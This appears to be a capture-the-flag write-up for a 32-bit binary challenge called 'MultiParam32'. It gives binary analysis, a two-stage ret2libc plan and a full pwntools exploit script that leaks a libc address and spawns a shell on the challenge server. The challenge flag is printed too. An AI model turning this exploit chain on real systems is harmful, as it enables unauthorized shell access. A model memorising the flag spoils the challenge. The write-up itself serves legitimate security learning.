414 words
2 minutes
SCSC2026 Quals - MultiParam32 - Binary Exploitation Writeup
Category: Binary Exploitation
Server: nc 43.128.69.211 13003
Flag: scsc26{uN3Xp3ctEd_mUlT1_p4r4m}
Challenge Description
32-bit binary exploitation challenge requiring return-to-libc attack.
Binary Analysis
$ file multiparammultiparam: ELF 32-bit LSB executable, Intel 80386, dynamically linked
$ checksec --file=multiparam Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIEDisassembly Analysis (main function)
; Stack layout:; ebp-0x14: buffer (20 bytes from ebp); ebp-0x8: var2 (loaded into eax if check passes); ebp-0x4: var1 (must equal 0xd34dc4fe); ebp: saved ebp; ebp+0x4: return address
mov DWORD PTR [ebp-0x4], 0x0 ; var1 = 0lea eax, [ebp-0x14] ; buffer addresspush eaxcall gets ; VULNERABLE: gets(buffer)mov eax, DWORD PTR [ebp-0x4]cmp eax, 0xd34dc4fe ; check if var1 == magicjne skipmov eax, DWORD PTR [ebp-0x8] ; load var2 into eaxskip:push 0x804a008 ; "Try again?"call putsleaveretVulnerability
-
gets()has no bounds checking - classic buffer overflow -
No win function exists - need ret2libc
-
NX enabled - can’t execute shellcode on stack
Exploitation Strategy
Stage 1: Leak libc address
-
Overflow buffer to control return address
-
Return to
puts@pltwithputs@GOTas argument -
This prints the runtime address of
putsin libc -
Return to
mainto continue exploitation
Stage 2: Calculate libc addresses
-
Use leaked
putsaddress to identify libc version -
Calculate
system()and/bin/shaddresses
Stage 3: Get shell
- Overflow again with
system("/bin/sh")ROP chain
Identifying Libc Version
Leaked addresses:
-
puts@libcending in0x140 -
gets@libcending in0x660
Using libc.rip database:
libc6_2.39-0ubuntu8.4_i386: puts: 0x78140 gets: 0x77660 system: 0x50430 str_bin_sh: 0x1c4de8Final Exploit
# !/usr/bin/env python3from pwn import *
context.arch = 'i386'
HOST = '43.128.69.211'PORT = 13003
# Binary addresses (no PIE)PUTS_PLT = 0x8049040PUTS_GOT = 0x804c010MAIN_ADDR = 0x8049182MAGIC = 0xd34dc4fe
# libc6_2.39 i386 offsetsPUTS_OFF = 0x78140SYSTEM_OFF = 0x50430BINSH_OFF = 0x1c4de8
p = remote(HOST, PORT)
# ============ STAGE 1: Leak libc ============# Stack: [12 bytes padding][var2][var1=MAGIC][saved_ebp][ret_addr][ret_after][arg]padding = b'A' * 12payload1 = padding + p32(0xdeadbeef) + p32(MAGIC) + p32(0x42424242)payload1 += p32(PUTS_PLT) # ret to puts@pltpayload1 += p32(MAIN_ADDR) # return to main after putspayload1 += p32(PUTS_GOT) # argument: puts@GOT
p.sendline(payload1)p.recvuntil(b'Try again?\n')
# Read leaked addressputs_libc = u32(p.recv(4))log.success(f"Leaked puts@libc: {hex(puts_libc)}")
# ============ STAGE 2: Calculate addresses ============libc_base = puts_libc - PUTS_OFFsystem_addr = libc_base + SYSTEM_OFFbinsh_addr = libc_base + BINSH_OFF
log.info(f"libc base: {hex(libc_base)}")log.info(f"system: {hex(system_addr)}")log.info(f"/bin/sh: {hex(binsh_addr)}")
# Clean buffersleep(0.2)try: p.recv(timeout=0.3)except: pass
# ============ STAGE 3: system("/bin/sh") ============payload2 = padding + p32(0xdeadbeef) + p32(MAGIC) + p32(0x42424242)payload2 += p32(system_addr) # ret to systempayload2 += p32(MAIN_ADDR) # return after systempayload2 += p32(binsh_addr) # argument: "/bin/sh"
p.sendline(payload2)p.interactive() SCSC2026 Quals - MultiParam32 - Binary Exploitation Writeup
https://fuwari.vercel.app/posts/15/scsc2026-quals-multiparam32-binary-exploitation-writeup/